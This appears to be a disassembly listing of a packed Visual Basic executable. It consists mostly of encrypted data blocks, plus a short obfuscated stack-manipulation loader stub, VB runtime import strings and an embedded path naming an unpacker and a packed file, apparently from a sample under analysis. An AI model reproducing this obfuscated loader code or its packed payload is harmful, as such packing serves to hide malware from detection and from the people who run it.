0C36D656Dh dd 3BB0C7C6h, 7CE0A747h, 0D97F0A48h, 8CC44E55h, 0A9A6064Bh dd 5B5A57AAh, 4A9CA408h, 2D80CC21h, 9B213130h, 0C1BD509Bh dd 5058344Bh, 6A1EAC1Eh, 0D5C9C678h, 0D2066A19h, 5BCC3882h dd 0B29CCF82h, 0A0CAA37Dh, 3382307h, 3530000h, 607327B5h dd 5E9246D4h, 0A1AE62F0h, 93C97D0Bh, 0A6889B29h, 9C2A9CCAh dd 0B947F5E8h, 0D260CC05h, 0EC7ACC1Eh, 66B7EBCFh, 96583E5Ah dd 0AAECDEB4h, 2B82A776h, 0AE184E5Eh, 0DC8FB2B1h, 6E3123C5h dd 2B81E33Ah, 1B6E215Eh, 0A416481Eh, 0D9AA4416h, 0FE4C8775h dd 2D6DFB9Bh, 9A063A16h, 6A5BCC2Eh, 3F3C8EE0h, 0EEF0ED40h dd 58442F33h, 0A59503FBh, 0BEA72C0Fh, 281Ah, 0E6082400h dd 82C5588Ch, 84375E2Bh, 7F99CD31h, 835BCCAAh, 50D1D3D0h dd 0DE58445Ah, 0F28878E6h, 0FDBEA6CCh, 0F6h, 82342607h dd 0E97301Eh, 0E3C3CD74h, 6B8157CCh, 73B7DE1h, 5E2AFA16h dd 0BB095CE6h, 6DC5168h, 1D51D4h, 45E2AFAh, 0AC9AFE51h dd 0E8516BB8h, 0F4698080h, 30BDCC1Eh, 1ECEEBFBh, 21018FE2h dd 5E2B582Eh, 2387392Bh, 5970ADE1h, 468D5E2Bh, 0CBEEEDEAh dd 47FB0118h, 0BF5E9215h, 3D5E2B59h, 463A378Ah, 477BDFA8h dd 5BCC6BA5h, 8B3D2BB5h, 16D8AA38h, 0A2D5096Dh, 9E55DAF7h dd 3D4587EBh, 0D8459B35h, 2C5E1CF7h, 3CE11579h, 0C05E1CF8h dd 121AF60Dh, 8BC8B5C4h, 0A52F03A3h, 0DA10C452h, 64F22B5Fh dd 0DA0B5E1Dh, 4B6E6D6Ah, 0CA1DAFC1h, 56904477h, 8922C4CAh dd 1D9A5h, 14A2B200h, 3381D286h, 4FE1F1A5h, 6AC60DC1h dd 883228DCh, 2905E7FAh, 47FB8933h, 6418A616h, 7D31BF6Dh dd 2E4BD96Bh, 5907164Ah, 13F5583Eh, 8630263Dh, 0A01244F8h dd 0E6085412h, 0BE4B399Dh, 0A10952Ch, 0FD2054B8h, 0FF5E2B09h dd 2559354Ch, 5BCC31F3h, 0E6B3C0AEh, 0EAFAFC78h, 888538D3h dd 443F9B86h, 2D9B9358h, 0A6E8A73Dh, 0A9B2BEh, 26BC0000h dd 0AF858234h, 10120FB9h, 5E2B853Fh, 896283Ah, 0B3B00254h dd 0F4582FBFh, 70E8C4B2h, 0BC342CC1h, 2B52B766h, 2E92455Eh dd 2B5223FAh, 172EE15Eh, 64E5073Bh, 0ACB45BCCh, 913B31BAh dd 2B429594h, 7D4FDD90h, 6CAE1271h, 0C8C57364h, 0B2E4B2C9h dd 0ED55DB0Bh, 2D44F0E5h, 737BDF92h, 9145D365h, 8BEF15Bh dd 8EC4CACFh, 0F811F5h, 43930000h, 0A0B367F5h, 9ED28614h dd 0E1EEA230h, 0D309BD4Bh, 0E6C8DB69h, 0DC6ADC0Ah, 0F9873528h dd 12A00C45h, 2CBA0C5Eh, 26F72B0Fh, 0D6583E58h, 30261EF4h dd 1244F886h, 265412A0h, 875DC534h, 0A9747F16h, 0DDDA727Fh dd 0B88E8BDEh, 0B48614A6h, 0A3E5493Ah, 0FCF9579Bh, 0B86599FDh dd 4C5E2AC3h, 25B48299h, 5F5BC5DAh, 87D9AFACh, 87E3D135h dd 8AE06C9Bh, 0E7458CB6h, 0CED4EBEAh, 7976C81Ah, 14CA1477h dd 3FAD7F27h, 83B77A6Ch, 0E767369Ah, 0D664B76Ah, 7CC13022h dd 11D02FACh, 14242174h, 556CDE0Ch, 1310BCB3h, 6071794Bh dd 1B3A2CCh, 32EE0504h, 4175B7C4h, 0E76733DCh, 0F5285C20h dd 7E76733h, 48EA0154h, 5240A416h, 0B29759B2h, 0C9CFE6E6h dd 559AC315h, 0A8FBFAF7h, 18C7ABh, 0CB5D0000h dd 1C54DDCBh, 100A3B8Fh, 5464E042h, 8EB84C16h, 0EFEEEB41h dd 36262CD8h, 0A3B58B88h, 333E1411h, 97C69C99h, 4522825h dd 89DFB5B2h, 676C423Fh, 0FAF6CCC9h, 6E815754h, 681AE5E2h dd 2411h, 68240C89h, 13F0h db 89h, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push ebp mov ebp, 66D52A34h add ebp, 9F17F1C3h push ebp pop esi pop ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push 5EC3h mov [esp], edx mov edx, 8 add edx, ebp mov [edx], esi pop edx push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_553505 ; --------------------------------------------------------------------------- dw 245Dh dd 471BC5D7h, 6DD9893Ah, 720457ABh, 0ED2B8AB8h, 0FFC50305h dd 213026E0h, 0E5628900h, 0B1093D0Ch, 7558885Fh, 8ADC0D14h dd 0CD3F7F2Bh, 0F2702624h, 5122C91Fh, 6FE1151Ch, 16A1F91Ch dd 0B0B13501h, 50DD6550h, 0D894DC0Eh, 44C9840Dh, 18561356h dd 5543D132h, 4918142Fh, 1297624Dh, 1C97885Ch, 6A39E83Dh dd 2944B513h, 0E2E8D011h, 8F98314Eh, 0CCF9D505h, 21B32B0Dh dd 0E193491Ah, 9263175Dh, 97849A7Ch, 1B63A441h, 0CBB01531h dd 0A9AEF60Ah, 31CD9641h, 3B8D8D60h, 6A05ED2Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 89E1C352h, 0E71AA98Dh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 97A71BE5h dd 4F38166h, 4D85C7ACh, 5805E72Ah, 6A000066h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 5BBAC351h, 94F4CC6Bh, 0F8928E91h, 42596FBAh, 3985C740h dd 5E727h, 0B000000h, 0E72C49B5h, 5DB5FF05h, 8005E701h dd 95FF6ECEh, 5E71795h, 8942C880h, 0E715019Dh, 0FF006A05h dd 0E721C195h, 0EBC08B05h, 86124D78h, 0DED39598h, 726135DDh dd 1B6FA28Dh, 0EB83C1A1h, 77B123BAh, 0CCEFA66Fh, 3C3737B8h dd 935CAC78h, 8BFBD09Fh, 0CA68A098h, 44ED00Ch, 84894FFBh dd 0C64472EEh, 0EE01EC72h, 91FD8765h, 8F1B8D35h, 6EB0F8CEh dd 0E94B1230h, 55CBE75h, 2BD86438h, 8C52AB02h, 0DD17F20Ah dd 0C866A7F4h, 0AA1ECD27h, 7C928AFFh, 3BEF6BECh, 0B59AFEF2h dd 95FCD08Ah, 56FA2CAFh, 11E883h, 0C1A80000h, 0E53579C4h dd 0D023CB8Dh, 0DF49837Fh, 89E92FEFh, 0E7285D8Dh, 37BF5B05h dd 81253899h, 74C9C3h, 8D095000h, 5E727E9h, 6858h, 850F0000h dd 0Ch, 7E9h, 0EF97ED00h, 295335B7h, 2D958B59h, 0FF05E72Ch dd 9D891934h, 5E70C09h, 1585895Eh, 8105E70Ah, 3D2FEEEEh dd 81FCB24Fh, 583D7EF6h, 138A0F49h, 0F000000h, 0D8Ah, 8E900h dd 0B7720000h, 920399DEh, 0F681BA1Bh, 4D505BA8h, 2005BD01h dd 348905E7h, 4419B80Bh, 0E9830DACh, 619D8903h, 4905E706h dd 29FDBD89h, 0F98105E7h, 0FFFF8C04h, 10850Fh, 858B0000h dd 5E72C61h, 16E9h, 71097400h, 0B866C214h, 80E9BF04h, 0F1FFFFFFh dd 0D623D188h, 0E8760D89h, 5, 2C120319h, 10E9EFh, 13920000h dd 0B2FD6E27h, 0D2268658h, 8940DE7h, 0E95F60ABh, 9, 0D5A6953Dh dd 0CF6A967Ah, 80C7813Ch, 8B00006Ah, 0E72BB585h, 1A756805h dd 27B80000h, 5E0ED4D4h, 25DB529h, 37FF05E7h, 830F5AF5h dd 5, 0C0F38166h, 29F281AAh, 5063A76Eh, 48D0Fh, 0BB660000h dd 815B9CAEh, 6485CF2h, 0D98D0B2Ah, 8105E712h, 0A233FEC2h dd 0D9B5097Dh, 8905E712h, 0C9958917h, 8105E707h, 0F4A69AEFh dd 8D850352h, 8105E709h, 0F4A696C7h, 0C1BF0F52h, 0A3850F4Eh dd 60FFFFFFh, 29C18D8Bh, 0C4B905E7h, 612E5AFFh, 15CE9h dd 0E705C500h, 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h dd 656B6361h, 78652E64h, 65h, 3Ah dup(0) db 0 a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 db 0D9h, 9Eh, 5Bh dd 1D4BE939h, 0E680000h, 0E905ED33h, 0FFFA4FDBh, 0ED340168h dd 4FD1E905h, 0DA68FFFAh, 0E905ED34h, 0FFFA4FC7h, 0ED35DB68h dd 4FBDE905h, 1A68FFFAh, 0E905ED36h, 0FFFA4FB3h, 0ED36ED68h dd 4FA9E905h, 4968FFFAh, 0E905ED37h, 0FFFA4F9Fh, 0ED379068h dd 4F95E905h, 0E168FFFAh, 0E905ED3Eh, 0FFFA4F8Bh, 0ED3FB868h dd 4F81E905h, 0A368FFFAh, 0E905ED40h, 0FFFA4F77h, 0ED418668h dd 4F6DE905h, 0E768FFFAh, 0E905ED41h, 0FFFA4F63h, 0ED42B268h dd 4F59E905h, 5868FFFAh, 0E905ED43h, 0FFFA4F4Fh, 0ED440568h dd 4F45E905h, 2A68FFFAh, 0E905ED4Bh, 0FFFA4F3Bh, 0ED4C2A68h dd 4F31E905h, 0B668FFFAh, 0E905ED4Ch, 0FFFA4F27h, 0CC62B72Dh dd 15AB7E7Ch, 63F920C5h, 0AE44ED13h, 0F68C9D5Eh, 0AA5174DDh dd 6599E97Fh, 1BE636CCh, 0CF308016h, 0DEF7CC62h, 7F050DF1h dd 2AAF955Ah, 0E0F8ADBFh, 0BFCB9D8Ch, 0AD847B87h, 66817E60h dd 0B34B9899h, 4B60B74Dh, 0F654936h, 1FED5492h, 920FAC90h dd 2E663454h, 0B69F5F88h, 38484618h, 920DA8Ah, 1CDEECA3h dd 0A4F138C3h, 7359A60Ch, 76AABFDAh, 3EEE5434h, 22356DBCh dd 77A2D635h, 3B885651h, 76BB4452h, 0A273533Eh, 80E5A79h dd 37DD87F2h, 0F1D409Bh, 11F340F1h, 0A2DA40E9h, 4C30h dd 0FB2CDB00h, 3C29B747h, 5491D358h, 5FAC12E0h, 0BDAA61C7h dd 5176FBF6h, 8C9D5E76h, 0F441A73Fh, 2509F60Bh, 0AD5A78FCh dd 0DCBCA7DFh, 775A78FBh, 46F09B71h, 86409BD4h, 5F0EAF74h dd 139911Bh, 0FE8Fh, 0D02A3800h, 3C740C59h, 98AABF2Bh dd 0C3C76A37h, 8E720161h, 16549269h, 0C0A49148h, 48549269h dd 0C936427Ah, 0C2391B68h, 0C7381A67h, 26341D6Ah, 142058D9h dd 7D8F46EBh, 0DA58B6A4h, 0CEC0F840h, 928E839Fh, 0BF728D54h dd 2206F308h, 0AA54928Fh, 62B2A4DCh, 0CB47949Dh, 64793098h dd 8E7E624Fh, 14015492h, 54928F30h, 2038EAB8h, 6E0653DEh dd 0FAE5D008h, 0FD517792h, 9417FBE8h, 0D19F5A79h, 27BD8B99h dd 43510A3Dh, 0FFE372B7h, 875A7993h, 0BA98CA6Bh, 0EA500C72h dd 0AAB8CD84h, 0F48CD950h, 6384D1BCh, 0EC045760h, 3BA20F9h dd 8D2306F5h, 476BBE3Dh, 0DF04F66Ch, 46BB5F3Ch, 0D400001Ah dd 23730910h, 6CBC52D7h, 0BA0AA079h, 555EB46h, 849D33F6h dd 2603F81Bh, 73BE4090h, 0BD748DDDh, 928D727h, 98859E73h dd 5A7F06B4h, 0C6D1563Ch, 75EF435h, 0DB2801F9h, 0FF0B43h dd 2C469B31h, 0C5DA91FBh, 2D8F59B3h, 0C442206h, 77D15A21h dd 0BF0CDA51h, 8463C4D6h, 84F64613h, 0CA0227D4h, 78D4FFDFh dd 37459A5Ah, 6D3169C8h, 0FD42EC9Fh, 0BE23409Bh, 0CE000000h dd 41F839C6h, 2E66CB33h, 0D158A385h, 0D7A7C384h, 4EB15491h dd 2FD4DE3h, 3D66E22Fh, 0F1FF14CBh, 0FDE82009h, 5176DC12h dd 32FF021Ah, 1B4C36CCh, 0F9ECFAB1h, 33BD320h, 6CA503F0h dd 625575Fh, 628F3519h, 89EFBD60h, 4CAFBDD2h, 4CAE90DDh dd 333F77DDh, 74CB61C8h, 8E8E725Fh, 48166062h, 0E8F70410h dd 34CC1918h, 6BB86184h, 74496DD3h, 54DF05EBh, 1953D377h dd 1DC70000h, 0E41666FCh, 865FAF45h, 53ADFD93h, 3F848DEh dd 0E779026h, 831910EBh, 0D066CB33h, 1AB08180h, 66FC35CAh dd 0A78B7891h, 2F5A7F07h, 35C6C449h, 0F10E5EF4h, 73270AF6h dd 4BE67016h, 8D238973h, 0F839C638h, 0FB36C9ABh, 0E0487B65h dd 0EDFF1429h, 44511B1h, 0D3B74659h, 5B549281h, 0F36A558Dh dd 0F3517780h, 0A80E23DBh, 83BA9A5Bh, 555A79h, 841AFEEBh dd 0D4A25A79h, 5702D89Ch, 409B48ADh, 0C88Eh, 16573900h dd 0E69D0F38h, 76E2B6F9h, 0BF263E51h, 687F45Ah, 85F2A878h dd 8E45B7E0h, 0F8D3BEA1h, 2B78462Bh, 36CA84AFh, 0D0DE95FBh dd 0B5C80031h, 0E4B589C8h, 843B0931h, 12A88976h, 0B6A33DC2h dd 3AE557D2h, 2268C5Ah, 48322C5h, 7A8C300Dh, 0A0000018h dd 0EF3FD544h, 38881E0Bh, 86D66CADh, 0D121B77Ah, 5069FF2Ah dd 0F237C4E7h, 3FF20C5Ch, 89A859A9h, 0D55CA3F3h, 64516A3Fh dd 5A7F0780h, 0BF9D2208h, 0D3D9BDAAh, 93615491h, 81B04F5Bh dd 7D394B34h, 0B81711B9h, 2C57FD35h, 3F005BCh, 5492231Fh dd 26D851A9h, 0D752A858h, 0A7BAF28Ah, 772243BAh, 0DF754351h dd 0E8CA7688h, 0AF8BDFBAh, 0F42CBA58h, 3870D6C1h, 34B1BF27h dd 3B32ADE5h, 0C178E013h, 0E03E2CAFh, 0CF07D2C5h, 78CCFBCh dd 0F5145177h, 792C2408h, 78DEAC5Ah, 0DBBFACC1h, 615A792Bh dd 0B9877BF7h, 1BE99B0Bh, 27991AE3h, 97D9A126h, 5845FC6Ch dd 0DE87EF75h, 1A17EAF8h, 669E7B6Ah, 0C13D8A58h, 5D6F2696h dd 7F6C759Fh, 0E78A559Bh, 0E4A15523h, 9BAEE6F6h, 73B06FAEh dd 6A21EFE4h, 0F88EA35Ch, 0BB9F8CA1h, 45ED7452h, 0F5C375BCh dd 0E34EB1BDh, 0F42712BFh, 0D97D5A51h, 1779h, 40D643A1h dd 891F0AF0h, 0D76DAC39h, 22B87987h, 6A0029D2h, 36C5E851h dd 0F10D5DF3h, 0A75AAA40h, 5BA4F48Ah, 526B40D6h, 7F088165h dd 9E23095Ah, 0D4F839C6h, 0EAD6A607h, 3AE28663h, 0E0000017h dd 2F7F1504h, 78C85ECBh, 0C616AC6Dh, 1161F73Ah, 90A93FEAh dd 32F70427h, 7FB24C9Ch, 0C96899E9h, 151CE333h, 0A491AA7Fh dd 5A7F09C0h, 0C6DD6248h, 3341F839h, 801865CCh, 0F0239F48h dd 35E4D188h, 0B05176CBh, 1D5B699Eh, 0F42C212Eh, 0F6DAC7E6h dd 7E5A79A9h, 4D9A7F66h, 0A69B4FB5h, 256A5676h, 0AD6C0268h dd 0E4547FCFh, 0B3FD402Dh, 6E80575Eh, 5D32AD42h, 39477F21h dd 0E94FDA21h, 0A5C1D37Ch, 0E12559D3h, 0F604EF27h, 0F1D40881h dd 0F90005DFh, 629AD2B8h, 6A218BBCh, 0EE1D9A7Dh, 75422F9h dd 39F0588Bh, 0D9FF0D4Ch, 70758DFFh, 5EC45CA9h, 0E48092A7h dd 620E98B8h, 0F708144Ch, 0AB54A43Ah, 1F6CC53Ch, 0E8FD2187h dd 30368E11h, 1667AF53h, 31B30000h, 0F80252E8h, 9A4B9B31h dd 6799E97Fh, 17E434CAh, 0FA637C12h, 6F0524D7h, 0BC52DF1Fh dd 69C956Ch, 52E849B6h, 9377647Dh, 1B5A7F09h, 3E7B035h dd 0AE5491D4h, 5491C3CEh, 91733749h, 59097B03h, 0C1563621h dd 19F95492h, 9B5492E2h, 46A9CD64h, 0A2EAD598h, 160B21C5h dd 0D50F0000h, 9C5EAE44h, 3EA7F78Dh, 0BF545DBh, 0BB409026h dd 56BFD86Eh, 0CB61C833h, 18AE837Bh, 62F839C8h, 0AE44ED12h dd 0EFD3C0D9h, 775A7F0Ah, 0FB2C0C91h, 0DEEDDA91h, 0DE5176F3h dd 850DEC10h, 9875E4EFh, 15C4F4h, 8B8E5600h, 0D455A5F5h dd 22F7EE3Eh, 6DC43C8Ch, 0B57487D7h, 7A9D061Fh, 0C212A881h dd 0F5FF53Ch, 59A93FF2h, 20F58BA6h, 0B361A07h, 0D8BE5A7Fh dd 0F839C653h, 17C83341h, 63FB48E9h, 3A1CC5FDh, 0A351EC5h dd 6276AEC9h, 0AD45929Fh, 0F994E147h, 18C03A48h, 9254472Bh dd 9B01CF54h, 0BA7EB64Eh, 798F392Ch, 3770457Ch, 19000000h dd 0B936C107h, 0BC38EC45h, 55669E33h, 91D407E7h, 8B748254h dd 0D3846855h, 3E0C5491h, 6B94A0D8h, 4ACFBA78h, 0A309ADCBh dd 120DE0Dh, 9FEC54CBh, 1524FBh, 39C65E00h, 812F41F8h dd 27B8753Bh, 3DB9629Ah, 0DDEBA20Ah, 27BF0C1Dh, 0F0EFDCEFh dd 0EB5177A1h, 39C621DDh, 4C5A92F8h, 8391E87Eh, 0D97FB762h dd 72873EAEh, 60988164h, 5EA58675h, 906E8657h, 240DF1A1h dd 568F71BEh, 1FFE2DC3h, 0A16060A8h, 0E33AD059h, 0E8CCB9CEh dd 706060A7h, 0A82F13A2h, 0E9B76060h, 0D455A5B1h, 3DEC0F1Dh dd 65735C05h, 0B34B9899h dd 3EB84EFFh, 0CD057EC7h, 0A3F039C1h, 3A09DFCFh, 4FE21FC0h dd 0EAFC53E9h, 0FEEB451Bh, 0CE2CDCC7h, 3E760E5Bh, 0B2CCAC56h dd 17D8D4Eh, 21360000h, 600F5034h, 0D20AD860h, 43FB2CC1h dd 0BDA71DD7h, 82399F50h, 777AAA95h, 879BAD51h, 0E8777726h dd 0F00F1D55h, 78F31F03h, 9B88A75Ah, 5A78F2B7h, 0A50B713Fh dd 0A5847658h, 0E1BE0EEh, 6694E4D6h, 0D5B576C3h, 0C45A78E2h dd 8971C016h, 0F7200AA0h, 36E1CE85h, 0BE575E2Dh, 372439F0h dd 60603053h, 2CD50DDBh, 0C178B14Ah, 0AEE64BB3h, 9A8F6CBCh dd 30AE8C4Dh, 0EF9D6060h, 412E4319h, 6060305Dh, 0F5D9C6E5h dd 7D606030h, 51149AFh, 4D9D33F6h, 4D2F7CADh, 5B2F7CADh dd 34C69D6Bh, 0FA085FF5h, 0FFE12EEBh, 91C92F02h, 0B2A1FFA9h dd 33E04Eh, 0BF8B0000h, 0D3D9BDAAh, 93615491h, 7DAC4F5Bh dd 3D9CB4C6h, 35F81770h, 69B67B85h, 0EF099D1h, 1BEF3CEDh dd 7586DD2Bh, 48F21EB4h, 29457CF3h, 97h, 43FB2CD4h, 0AECD0739h dd 8F46AC70h, 77803BA2h, 206D3B51h, 0D76DBC3Eh, 69B67387h dd 0A58C7280h, 9099616Dh, 697F6F43h, 0F336C5D3h, 0CAD60EA6h dd 0C63F930h, 0CBDF3BFAh, 0A5DD02FFh, 9B0913BDh, 3AF440h dd 2C9F0000h, 0EBD88FF9h, 5491D3D7h, 3C411DFh, 5491D423h dd 88D55CA5h, 88D554A6h, 4754A2D6h, 477086D4h, 6F3AA1Eh dd 5491D5F2h, 3468DEFAh, 4BB9091Ch, 183D4FE5h, 0A0000000h dd 7304h, 3E506500h, 754CA7B8h, 0E4C85732h, 6C549298h dd 0C655669Eh, 0C4ADFA1Fh, 196A65B2h, 78B05592h, 0B0518E6Ch dd 5E4B3481h, 5492757Ah, 68CE3402h, 8D6D7BD2h, 7FB74F9Ch dd 0EBA28773h, 7605E9D6h, 0BF8D5492h, 0E0F5DE87h, 92760FF3h dd 91C99754h, 9C53A5EBh, 75B69A87h, 0C0405492h, 0B9F1BF71h dd 0CEE64F10h, 309AB6Eh, 5ED882F5h, 1AB9457Ch, 6400000Dh dd 0DD94E62Ch, 0C6FE2BCFh, 0E7775C1Dh, 8679DD3Ah, 171B675Dh dd 80E6EFE4h, 81B05133h, 0B7042DD1h, 98E5F3E3h, 7AEDFB01h dd 0CCD7E0D0h, 2A0EFB10h, 0B2DE3CF4h, 553AACE4h, 0E3000000h dd 0F3FDE1CEh, 6D85DE3Ch, 33BA178h, 94E62CF2h, 46BAC8DDh dd 0E4C8B3EBh, 6C5491D3h, 5ED5E79Eh, 698C2E82h, 4ED96CEh dd 0DAD80BF6h, 7ECEAA59h, 7759A60Ch, 0C058A584h, 0F537225Ah dd 98FDE2A7h, 68C93543h, 874B831Bh, 0AA5C0671h, 9C3DEC08h dd 0E8000002h, 0B14AE62Ch, 95452B78h, 1E06697Dh, 0C378DE44h dd 39C63536h, 620943F8h, 0E44DB1BFh, 0E346B597h, 6098FE96h dd 7CF0DE78h, 0EB101E46h, 0B69A873Eh, 3E5791D3h, 5EC63870h dd 6F000000h, 0D3896D5Ah, 0F2115791h, 91D42105h, 75DBA957h dd 0E62C2C3Dh, 0B1BFDF94h, 0FA92DF4Ah, 0AF57A46h, 0AEE6EDE4h dd 0EDCFAE9Bh, 814F5491h, 49B1BFCCh, 0C3FB93E0h, 1FC69DB0h dd 5171A0ACh, 92598064h, 863A0854h, 197FF05Dh, 49B1BF64h dd 4BFB93E0h, 942C79B0h, 4F7885Ch, 37h, 94E62C67h, 0F3D2BFDFh dd 0CA5491D3h, 16EAFD04h, 0D068B51Bh, 55A5B36Ah, 3FEF87D4h dd 2A3B73A6h, 5E9CAABFh, 2FE67ECBh, 91D35E42h, 0E018E654h dd 0FA1FC6CFh, 0E76DFE45h, 775794AAh, 1C09CF2Ch, 78581538h dd 1888A4C0h, 0A795A57Ch, 0EE45DB41h, 0C41120E0h, 0B0697C2Ch dd 9E936C78h, 9099625Eh, 3DC1C7D9h, 26A352B5h, 0B7EF55D4h dd 0B349211Bh, 1FD65BA4h, 3F8EF11h, 0DB41D926h, 0F5BEF68Eh dd 4585AC53h, 63C63442h, 0CB467E16h, 6F7DBBE2h, 40C027D8h dd 0A60CA4F1h, 3D7E9039h, 33D5D1BAh, 4CB3BFF7h, 52A9A5E5h dd 5897CFAEh, 41814F78h, 0CA996F47h, 3345FC35h, 23AAF4DAh dd 6E1DD3C6h, 0AE7FACF1h, 0C8699848h, 0D625C790h, 5B50653h dd 0E1708674h, 29790F1Ah, 1F1B5BD6h, 5B4524DCh, 0F7C57858h dd 8593C0B7h, 0B77BB376h, 3CF90B21h, 2255D044h, 0CC333F77h dd 3A4FF865h, 58A8694Dh, 7323F178h, 0C25AA772h, 0B0817E8Ah dd 9B5F6D70h, 5CE0A840h, 69CF338Dh, 0D14C841Ch, 4593B7DDh dd 21C4D2E7h, 978569F8h, 0F50D7858h, 3ED62306h, 6B94A0D8h dd 48B759C6h, 0D72432E9h, 356D0552h, 815E9D99h, 0CF67B47Dh dd 0B298C21Bh, 0FE642C66h, 1EECC4BEh, 0C79B847h, 0AE39C665h dd 0FC94E150h, 3536E196h, 513EF92Ch, 5491D36Dh, 0CC127F5h dd 50EA6209h, 31467CF0h, 56h, 8FF92CDCh, 95AABFDAh, 91D3C4A8h dd 0C77E4C54h, 91D3F6DAh, 78B07E54h, 91D3AE8Dh, 0A9602E54h dd 0BF29CB97h, 283DF140h, 0E1F22A05h, 0A895AABFh, 5491D3C4h dd 64CD344Ch, 0C6B5C6FEh, 0FE40F534h, 49B1BF6Dh, 20DAA8E0h dd 3B000000h, 0D015D22Dh, 0FE96E349h, 0F92CB5C6h, 0D2BFDA8Fh dd 5491D3F3h, 0BF994ECAh, 0F534C6ACh, 0E76DFE40h, 5491DDFDh dd 82AFF203h, 63C9038Bh, 0FFFCDFF1h, 524052FFh, 4E75225Fh dd 0E70E1F57h, 5491D407h, 0A3867482h, 0EC0EBE56h, 295F053Dh dd 0D3A58976h, 152D5491h, 63FB48E9h, 0AA0197FDh, 0E35E1398h dd 635023A3h, 5492A77Fh, 9BD33907h, 76C3568Fh, 0B3667F8Dh dd 0A82B0FFCh, 0E5B35492h, 0A7DEC2ADh, 93685492h, 187EB34Ch dd 1811E9CBh, 17E519CBh, 33C9178Ah, 371B081Dh, 0BF5492A8h dd 38ADB9F1h, 0FFFB4BE1h, 0A808ECD9h, 0C2905492h, 0A9DCC65Ch dd 1631F23Fh, 2016C854h, 0C8CE00DBh, 0AAD6A8BEh, 0EB15F744h dd 0E817F946h, 7288D649h, 7A90962Dh, 2BD9650Fh, 2A24607h dd 0E7F10000h, 5491D408h, 9E55C7F0h, 6108A98Ch, 0AD45929Fh dd 5A7778F9h, 5EA71A6h, 98D099F2h, 310D9885h, 47155177h dd 958461B1h, 2 dup(95946648h), 0F8DCC9DEh, 805A7953h dd 55D17AB2h, 1603BA22h, 575E545Fh, 4D8DC8DAh, 79C95B81h dd 0E31B3341h, 0C6AA974Eh, 4E606011h, 0DF61A80h, 5DDF0868h dd 0E73DC80h, 3DA70000h, 4F646DCh, 0A63F8F25h, 738DDD73h dd 23D828BEh, 0EE577006h, 63F930CBh, 0B046EB13h, 0FA90A160h dd 46DC55AAh, 876B5871h, 0F5A7F11h, 39C6A429h, 4A9350AEh dd 0A8673A88h, 0E299FF65h, 32FCE0CDh, 0B6845492h, 2E59D57Eh dd 8D9C5F6Dh, 92331AFEh, 0D841A454h, 361A0726h, 0BE549233h dd 0E0D68AF0h, 0F9C945Ch, 0B4A158BEh, 517DDC53h, 48560DDBh dd 96E67C9Dh, 113CA4Fh, 1BCED73Eh, 23F6EF7Eh, 0A0D83ED6h dd 47EA15F7h, 62798290h, 4D2CC258h, 0DC298F51h, 0BCA08D44h dd 445A8079h, 0AC953E76h, 99D1609Eh, 0A158C0F3h, 0BA42CA8Fh dd 91C98C8Bh, 6754697Eh, 5A804E83h, 57E8A709h, 0C87AB258h dd 58D7C2FAh, 58576510h, 47A7668Ah, 0EAC7DF01h, 0D9C46h dd 0B3667E00h, 0FC2DCD1Dh, 4ACF1666h, 959C64B4h, 0DD4CAFFFh dd 0A2C52E47h, 0EA3AD059h, 37871D14h, 81D167CAh, 481DB37Eh dd 125E422Fh, 0E65A7Fh, 4DB1BF7Bh, 66CC659Ah, 0ADD222Eh dd 58F03DF4h, 0FE29A5F2h, 0B4C2D78Eh, 0C9689847h, 0C77EE47Ch dd 91D3F6DAh, 78B07E54h, 76F69A8Dh, 3ED4A251h, 928D9E7h dd 0E0EC24BCh, 0FA37C81Fh, 19AF15ADh, 4C9CB0C2h, 199F3B70h dd 56083BE1h, 54B73AA9h, 4E530C47h, 9D039BE8h, 88ABF9E6h dd 18265764h, 62FA47E2h, 974E1C2Ah, 9C806D82h, 246066A8h dd 0BD45C908h, 21876945h, 1108DDE9h, 7EB34C5Ah, 6F619931h dd 653C61Fh, 0F305DB24h, 0DD8E824h, 0DCC04F29h, 646066B1h dd 67E33096h, 0B663823Ch, 0B46BD169h, 0A2DA3FA6h, 0A923A28Fh dd 55235D4Bh, 1AAEE631h, 11B592D9h, 0CB1h, 89E7B69h dd 51E742B8h, 9F35E401h, 0EA80B14Fh, 32C8619Ah, 6E8DB019h dd 29D525BBh, 0DF227208h, 936CBC52h, 1A33089Eh, 7F13492Dh dd 66EBD15Ah, 4DAE39C6h, 402976DCh, 547BA02Eh, 0E9C7E237h dd 15DF9D4Ah, 0B95F97FDh, 52671E8Eh, 92B58165h, 0CE1A0754h dd 4C0F0EEAh, 0B27F829Ah, 0C4A8954Ch, 4C5492CBh, 4633467Eh dd 5177C223h, 77C75D2Bh, 0C010A683h, 95EF425h, 0DA91FB2Ch dd 76C39EEDh, 3501E51h, 78E56242h, 0E1F7FD5Ah, 6CBD3D4Bh dd 674F871Fh, 409BEEBDh, 8C9Eh, 34C64900h, 34C6A8F5h, 3AC6A8F5h dd 0D3D5B9A6h, 3E5D5491h, 91D36D51h, 0C127F554h, 0CE2C0E5Bh dd 606EC55Bh, 0AC4491A0h, 3F424FF8h, 5D95EBB7h, 651C8CB7h dd 7715CD78h, 63875551h, 0E4EF60BEh, 0CE55F9D6h, 4C00000Bh dd 9BEB8198h, 0E434CA5Fh, 32821801h, 7DCD63CEh, 0FC15AB7Eh dd 9E8B7093h, 0EB46B808h, 35FC0555h, 81B04F9Fh, 10FD16EBh dd 5A7F152Ch, 0C649CEB4h, 8D4FA734h, 6B07693Fh, 0A2EF2ABBh dd 0FC0EA40Ah, 4Ch, 0F534C65Fh, 91FB2CA8h, 0D436EDDAh dd 0E8B65176h, 0EFA667C4h, 0C26643E4h, 0B6Dh, 4CE237ADh dd 952BFEFCh, 0E379A045h, 2EC46D93h, 760C1DDEh, 2AD1F45Dh dd 0E51969FFh, 9B66B64Ch, 4FB00096h, 5E774CE2h, 7F148D71h dd 